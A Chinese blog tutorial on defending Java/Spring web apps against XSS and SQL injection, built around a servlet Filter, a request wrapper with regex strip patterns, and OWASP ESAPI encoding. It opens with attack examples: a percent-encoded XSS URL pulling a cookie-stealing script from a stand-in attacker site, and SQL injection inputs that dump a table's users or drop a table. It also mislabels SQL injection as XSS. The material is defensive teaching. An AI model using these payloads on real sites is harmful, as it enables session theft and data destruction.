预防XSS,这几招管用
大家应该都听过 XSS (Cross-site scripting) 攻击问题,或多或少会有一些了解,但貌似很少有人将这个问题放在心上。一部分人是存有侥幸心理:“谁会无聊攻击我们的网站呢?”;另一部分人可能是工作职责所在,很少触碰这个话题。希望大家看过这篇文章之后能将问题重视起来,并有自己的解决方案, 目前XSS攻击问题依旧很严峻:
XSS 类型的划分以及其他概念性的东西在此就不做过多说明,Wikipedia Cross-site scripting 说明的非常清晰,本文主要通过举例让读者看到 XSS 攻击的严重性,同时提供相应的解决方案
XSS 案例
不喜欢看 XSS 案例的,请跳过此处,直接去看 解决方案 。Bob 和 Alice 两个人是经常用作案例(三次握手,SSH认证等)说明的,没错下面的这些案例也会让他们再上头条😆
案例一
Mallory 观察到 Bob 的网站包含一个 XSS 漏洞:
- 当她访问“搜索”页面时,她会在搜索框中输入搜索词,然后单击“提交”按钮。
- 使用普通的搜索查询,如单词“puppies”,页面只显示“找不到小狗相关内容”,网址为
http://bobssite.org/search?q=puppies
这是完全正常的行为。 - 但是,当她提交异常搜索查询时,例如
<script type ='application / javascript'> alert('xss'); </ script>
- 出现一个警告框(表示“xss”)。
- 该页面显示“未找到”,以及带有文本“xss”的错误消息。
- URL 是
http://bobssite.org/search?q= <script%20type ='application / javascript'> alert('xss'); </ script>
, 这是一个可利用的行为
Mallory制作了一个利用此漏洞的URL:
- 她创建了URL
http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js“> </ script>
。她选择使用百分比编码 encode ASCII字符,例如http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22 %3E%3C%2Fscript%3E
,这样读者就无法立即破译这个恶意 URL - 她给 Bob 网站的一些毫无防备的成员发了一封电子邮件,说“看看这些可爱的小狗!”
案例二
当向用户询问输入时,通常会发生 SQL 注入,例如用户名/用户ID,用户会为您提供一条 SQL 语句,您将无意中在数据库上运行该语句。
请查看以下示例,该示例通过向选择字符串添加变量(txtUserId)来创建SELECT语句。 该变量是从用户输入(getRequestString)获取的:
txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;
当用户输入 userId = 105 OR 1=1
,这时 SQL 会是这个样子:
SELECT * FROM Users WHERE UserId = 105 OR 1=1;
OR 条件始终为 true,这样就有可能获取全部用户信息
如果用户输入 userId = 105; DROP TABLE Suppliers
,这时 SQL 语句会是这样子
SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers;
这样 Suppliers 表就被不知情的情况下删除掉了
通过上面的例子可以看出,XSS 相关问题可大可小,大到泄露用户数据,使系统崩溃;小到页面发生各种意想不到的异常。“苍蝇不叮无缝的蛋”,我们需要拿出解决方案,修复这个裂缝。但解决 XSS 问题需要多种方案的配合使用:
- 前端做表单数据合法性校验(这是第一层防护,虽然“防君子不防小人”,但必须要有)
- 后端做数据过滤与替换 (总有一些人会通过工具录入一些非法数据造访你的服务器的)
- 持久层数据编码规范,比如使用 Mybatis,看 Mybatis 中 “$" 和 "#" 千万不要乱用 了解这些小细节
本文主要提供第 2 种方式的解决方案
解决方案
先不要向下看,思考一下,在整个 HTTP RESTful 请求过程中,如果采用后端服务做请求数据的过滤与替换,你能想到哪些解决方案?
Spring AOP
使用 Spring AOP 横切所有 API 入口,貌似可以很轻松的实现,But(英文听力重点😂),RESTful API 设计并不是统一的入参格式,有 GET 请求的 RequestParam 的入参,也有 POST 请求RequestBody的入参,不同的入参很难进行统一处理,所以这并不是很好的方式,关于 RESTful 接口的设计,可以参考 如何设计好的 RESTful API?
HttpMessageConverter
请求的 JSON 数据都要过 HttpMessageConverter 进行转换,通常我们可以通过添加 MappingJackson2HttpMessageConverter
并重写 readInternal
方法:
@Override
protected Object readInternal(Class<?> clazz, HttpInputMessage inputMessage) throws IOException, HttpMessageNotReadableException {
return super.readInternal(clazz, inputMessage);
}
获取到转换过后的 Java 对象后对当前对象做处理,但这种方式没有办法处理 GET 请求,所以也不是一个很好的方案,想详细了解 HttpMessageConverter 数据转换过程可以查看 HttpMessageConverter是如何转换数据的?
Filter
Servlet Filter 不过多介绍,通过 Filter 可以过滤 HTTP Request,我们可以拿到请求的所有信息,所以我们可以在这里大做文章
我们有两种方式自定义我们的 Filter
- 实现
javax.servlet.Filter
接口 - Spring 环境下继承
org.springframework.web.filter.OncePerRequestFilter
抽象类
这里采用第二种方式:
@Slf4j
public class GlobalSecurityFilter extends OncePerRequestFilter {
@Override
protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
String userInput = request.getParameter("param");
if (userInput != null && !userInput.equalsIgnoreCase(HtmlUtils.htmlEscape(userInput))) {
throw new RuntimeException();
}
String requestBody = IOUtils.toString(request.getInputStream(), "UTF-8");
if (requestBody != null && !requestBody.equalsIgnoreCase(HtmlUtils.htmlEscape(requestBody))) {
throw new RuntimeException();
}
filterChain.doFilter(request, response);
}
}
然后注册 Filter
@Bean
public FilterRegistrationBean filterRegistrationBean() {
FilterRegistrationBean registration = new FilterRegistrationBean();
registration.setFilter(globalSecurityFilter());
//URL 过滤 pattern 设置
registration.addUrlPatterns(validatePath + "/*");
registration.setOrder(5);
return registration;
}
@Bean(name = "globalSecurityFilter")
public Filter globalSecurityFilter() {
return new GlobalSecurityFilter();
}
这种方案貌似可以很简单粗暴的解决,但会有以下几个问题:
- 抛出异常,没有统一 RESTful 消息返回格式,抛出异常后导致流程不可达
- 调用
request.getInputStream()
读取流,只能读取一次,调用责任链后续 filter 会导致request.getInputStream()
内容为空,即便这是 Filter 责任链中的最后一个 filter,程序运行到 HttpMessageConverter 时也会抛出异常。想了解 Filter 责任链的调用过程,可以查看 不得不知的责任链设计模式 - 看过文章开头的 XSS 攻击案例,HtmlUtils.htmlEscape(...) 可替换的内容有限,不够丰富
我们需要通过HttpServletRequestWrapper
完成流的多次读取,当你看到这个名称XXXWrapper
,你应该想到这应用了 Java 的设计模式——装饰模式(这是侦探的基本素养 😄),先来看类图:
HttpServletRequestWrapper 继承 ServletRequestWrapper 并实现了 HttpServletRequest 接口,我们只需定义自己的 Wrapper,并重写里面的方法即可
@Slf4j
public class GlobalSecurityRequestWrapper extends HttpServletRequestWrapper {
//将读取的流内容存储在 body 字符串中
private final String body;
//定义Pattern数组,用于正则匹配,可添加其他pattern规则至此
private static Pattern[] patterns = new Pattern[]{
// Script fragments
Pattern.compile("<script>(.*?)</script>",Pattern.CASE_INSENSITIVE),
// src='...'
Pattern.compile("src[\r\n]*=[\r\n]*\\\'(.*?)\\\'",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
Pattern.compile("src[\r\n]*=[\r\n]*\\\"(.*?)\\\"",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
// lonely script tags
Pattern.compile("</script>",Pattern.CASE_INSENSITIVE),
Pattern.compile("<script(.*?)>",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
// eval(...)
Pattern.compile("eval\\((.*?)\\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
// expression(...)
Pattern.compile("expression\\((.*?)\\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
// javascript:...
Pattern.compile("javascript:",Pattern.CASE_INSENSITIVE),
// vbscript:...
Pattern.compile("vbscript:",Pattern.CASE_INSENSITIVE),
//在此添加其他 Pattern,更多 Pattern 内容,可以从文末 demo 处获取全部代码
};
/**
*通过构造函数装饰 HttpServletRequest,同时将流内容存储在 body 字符串中
*/
public GlobalSecurityRequestWrapper(HttpServletRequest servletRequest) throws IOException{
super(servletRequest);
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = null;
try {
InputStream inputStream = servletRequest.getInputStream();
if (inputStream != null) {
bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
char[] charBuffer = new char[128];
int bytesRead = -1;
while ((bytesRead = bufferedReader.read(charBuffer)) > 0) {
stringBuilder.append(charBuffer, 0, bytesRead);
}
} else {
stringBuilder.append("");
}
} catch (IOException ex) {
throw ex;
} finally {
if (bufferedReader != null) {
try {
bufferedReader.close();
} catch (IOException ex) {
throw ex;
}
}
}
//将requestBody内容以字符串形式存储在变量body中
body = stringBuilder.toString();
log.info("过滤和替换前,requestBody 内容为: 【{}】", body);
}
/**
* 将 body 字符串重新转换为ServletInputStream, 用于request.inputStream 读取流
* @return
* @throws IOException
*/
@Override
public ServletInputStream getInputStream() throws IOException {
String encodedBody = stripXSS(body);
log.info("过滤和替换后,requestBody 内容为: 【{}】", encodedBody);
final ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(encodedBody.getBytes());
ServletInputStream servletInputStream = new ServletInputStream() {
@Override
public int read() throws IOException {
return byteArrayInputStream.read();
}
@Override
public boolean isFinished() {
return byteArrayInputStream.available() == 0;
}
@Override
public boolean isReady() {
return true;
}
@Override
public void setReadListener(ReadListener readListener) {
}
};
return servletInputStream;
}
/**
* 调用该方法,可以多次获取 requestBody 内容
* @return
*/
public String getBody() {
return this.body;
}
@Override
public BufferedReader getReader() throws IOException {
return new BufferedReader(new InputStreamReader(this.getInputStream()));
}
/**
* 获取 request (http://127.0.0.1/test?a=1&b=2) 请求参数,多个参数返回 String[] 数组
* @param parameter
* @return
*/
@Override
public String[] getParameterValues(String parameter) {
String[] values = super.getParameterValues(parameter);
if (values == null) {
return null;
}
int count = values.length;
String[] encodedValues = new String[count];
for (int i = 0; i < count; i++) {
encodedValues[i] = stripXSS(values[i]);
}
return encodedValues;
}
/**
* 获取单个请求参数
* @param parameter
* @return
*/
@Override
public String getParameter(String parameter) {
String value = super.getParameter(parameter);
return stripXSS(value);
}
/**
* 获取请求头信息
* @param name
* @return
*/
@Override
public String getHeader(String name) {
String value = super.getHeader(name);
return stripXSS(value);
}
/**
* 标准过滤和替换方法
* @param value
* @return
*/
private String stripXSS(String value){
if (value != null) {
// 使用 ESAPI 避免 encoded 的代码攻击
value = ESAPI.encoder().canonicalize(value, false, false);
value = patternReplace(value);
}
return value;
}
/**
* 根据 Pattern 替换字符
*/
private String patternReplace(String value){
if (StringUtils.isNotBlank(value)){
// 避免null
value = value.replaceAll("\0", "");
// 根据Pattern匹配到的字符,做""替换
for (Pattern scriptPattern : patterns){
value = scriptPattern.matcher(value).replaceAll("");
}
}
return value;
}
}
至此,修改 GlobalSecurityFilter 中代码,将重写好的 GlobalSecurityRequestWrapper 重新放入到 FilterChain 中
GlobalSecurityRequestWrapper xssHttpServletRequestWrapper = new GlobalSecurityRequestWrapper(request);
filterChain.doFilter(xssHttpServletRequestWrapper, response);
上面所有方法都添加了注解,很容易理解,我们看到在 stripXSS 方法中引入了 ESAPI ,关于如何引入 ESAPI,请看当前文章 ESAPI引入方式 部分内容,来看代码:
ESAPI.encoder().canonicalize(value, false, false);
这段代码是 ESAPI 最简单的使用方式,主要防止 encoded 的代码进行 XSS 攻击,这种简单的使用在 GET 请求中没有问题,但如果是 POST 请求,requestBody 中数据有 "", 会被替换掉,这样就破坏了json 的结构,导致后续解析出错. 为什么会这样呢?ESAPI.encoder()
构造出默认的 DefaultEncoder
, 查看该类发现:
/**
* Instantiates a new DefaultEncoder
*/
private DefaultEncoder() {
codecs.add( htmlCodec );
codecs.add( percentCodec );
codecs.add( javaScriptCodec );
}
其中 javaScriptCodec
是按照 JavaScript 标准将 "" 替换成 "", 所以我们需要做定制改变,继续查看 Encoder
接口,找到下面方法:
String canonicalize(String input, boolean restrictMultiple, boolean restrictMixed);
通过查看该方法的注释我们了解到,可以通过 DefaultEncoder 带参数构造器构造自己的 encoder:
List codecs = new ArrayList(2);
codecs.add( new HTMLEntityCodec());
codecs.add( new PercentCodec());
DefaultEncoder defaultEncoder = new DefaultEncoder(Arrays.asList("HTMLEntityCodec", "PercentCodec"));
所以我们可以重新定义一个 stripXSSRequestBody 方法用在 重写的 getInputStream 方法中
/**
* 请求体处理,多用于json数据,自定义encoder,排除掉javascriptcodec
* @param value
* @return
*/
private String stripXSSRequestBody(String value){
if (value != null) {
List codecs = new ArrayList(4);
codecs.add( new HTMLEntityCodec() );
codecs.add( new PercentCodec());
DefaultEncoder defaultEncoder = new DefaultEncoder(Arrays.asList("HTMLEntityCodec", "PercentCodec"));
// 使用 ESAPI 避免 encoded 的代码攻击
value = defaultEncoder.canonicalize(value, false, false);
value = patternReplace(value);
}
return value;
}
解决了 RequestBody 的问题,我们需要进一步解决防 SQL 注入查询的问题,我们可以在重写的 getParameterValues
方法中使用如下方法:
/**
* 防Sql注入,多用于带参数查询
* @param value
* @return
*/
private String stripXSSSql(String value) {
Codec MYSQL_CODEC = new MySQLCodec(MySQLCodec.Mode.STANDARD);
if (value != null) {
// 使用 ESAPI 避免 encoded 的代码攻击
value = ESAPI.encoder().canonicalize(value, false, false);
value = ESAPI.encoder().encodeForSQL(MYSQL_CODEC, value);
}
return value;
}
ESAPI.encoder()还有很多定制化的过滤,请小伙伴动手自行发现和定制,这里不再做过多的解释
问题还没解决完,涉及到文件上传的业务,可以通过其他方式做文件魔术数字
校验,文件后缀
校验,文件大小
校验等方式,没必要在这个地方校验 XSS 内容,所以我们需要再对 Filter 做出一些改变,不处理 contentType 为 multipart/form-data
的请求
String contentType = request.getContentType();
if (StringUtils.isNotBlank(contentType) && contentType.contains("multipart/form-data")){
filterChain.doFilter(request, response);
}else {
GlobalSecurityRequestWrapper xssHttpServletRequestWrapper = new GlobalSecurityRequestWrapper((HttpServletRequest)request);
filterChain.doFilter(xssHttpServletRequestWrapper, response);
}
当然这种方式还有进一步的改善空间,比如添加白名单(YAML配置的方式)等,具体业务还需要具体分析,不过读到这里,相信大家的思路已经打开,可以进行自我创作了.
ESAPI引入方式
gradle 方式
compile group: 'org.owasp.esapi', name: 'esapi', version: '2.0.1'
maven 方式
<dependency>
<groupId>org.owasp.esapi</groupId>
<artifactId>esapi</artifactId>
<version>2.0.1</version>
</dependency>
resources 根目录下添加 ESAPI.properties
文件和 validation.properties
两个文件,至此我们就可以使用 ESAPI 帮助我们解决 XSS 问题了,文件内容可以通过下载 ESAPI source 获取,也可以从 Demo 下载地址中获取
灵魂追问
- 你了解 Java 装饰器设计模式吗?能想起来框架的哪些地方用到了该设计模式?
- 为什么单纯校验文件的后缀是不安全的校验方式?
- 你看过「黑客帝国」吗? (该问题纯属搞笑)
那些可以提高效率的工具
Key Promoter X
Key Promoter X 是 IntelliJ IDEA 的一个学习快捷键的工具,当你用鼠标在 IDE 中点击某些功能,Key Promoter X 会在 IDE 右下角提示你应该用哪种快捷键代替,如果当前操纵没有设置相应快捷键,你也可以通过它快速设置,提高操作效率